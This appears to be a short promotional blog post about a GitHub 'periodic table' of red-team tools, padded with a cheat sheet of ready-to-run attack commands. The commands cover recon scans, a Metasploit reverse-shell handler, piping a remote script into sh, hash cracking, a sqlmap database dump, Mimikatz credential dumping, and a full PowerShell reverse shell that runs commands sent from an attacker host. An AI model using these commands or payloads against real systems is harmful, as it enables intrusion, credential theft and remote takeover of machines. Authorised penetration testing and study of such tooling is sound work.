Periodic Table of Offensive Security: A Comprehensive Guide to Red Team Tools

The Periodic Table of Offensive Security is a visual reference categorizing 118 essential red team tools, frameworks, and standards in a structured format. This GitHub repository (Periodic Table of Offensive Security) organizes offensive security tools like a chemical periodic table, making it easier for cybersecurity professionals to navigate and utilize them effectively.

You Should Know: Practical Red Team Commands & Techniques

1. Reconnaissance & Enumeration

• Nmap (Network Mapper)

  nmap -sV -A -T4 target.com 
  

  Scan for OS detection, version detection, and aggressive timing.

• Amass (Subdomain Enumeration)

  amass enum -d target.com -active -brute 
  

2. Exploitation Frameworks

• Metasploit Framework

  msfconsole 
  use exploit/multi/handler 
  set payload windows/x64/meterpreter/reverse_tcp 
  set LHOST <attacker-ip> 
  set LPORT 4444 
  exploit 
  

• CrackMapExec (Post-Exploitation)

  crackmapexec smb <target-ip> -u <user> -p <password> --shares 
  

3. Privilege Escalation

• WinPEAS (Windows)

  .\winpeas.exe 
  

• LinPEAS (Linux)

  curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh 
  

4. Password Cracking

• Hashcat

  hashcat -m 1000 hashes.txt rockyou.txt 
  

• John the Ripper

  john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt 
  

5. Web Application Testing

• Burp Suite (Manual Web Testing)

  java -jar burpsuite_pro.jar 
  

• SQLmap (Automated SQL Injection)

  sqlmap -u "http://target.com/vuln.php?id=1" --dump 
  

6. Post-Exploitation & Lateral Movement

• Mimikatz (Credential Dumping)

  .\mimikatz.exe "sekurlsa::logonpasswords" 
  

• BloodHound (Active Directory Mapping)

  neo4j console 
  bloodhound --no-sandbox 
  

7. Custom Reverse Shells

• Netcat Listener

  nc -lvnp 4444 
  

• PowerShell Reverse Shell

  powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" 
  

What Undercode Say

The Periodic Table of Offensive Security is an invaluable resource for penetration testers, red teamers, and cybersecurity professionals. By categorizing tools into logical groups, it simplifies the selection process for engagements. Practitioners should master key tools like Metasploit, Nmap, Hashcat, and Mimikatz to execute effective attacks and defenses.

Expected Output:

• A structured reference for offensive security tools.
• Practical commands for reconnaissance, exploitation, and post-exploitation.
• Improved efficiency in red team operations.

Prediction

The offensive security landscape will continue evolving with AI-driven penetration testing tools and automated exploit frameworks, making structured references like this even more critical.

GitHub Repo: Periodic Table of Offensive Security

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Reported By: Imavropoulos Introducing – Hackers Feeds
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Basic Verification: Pass ✅

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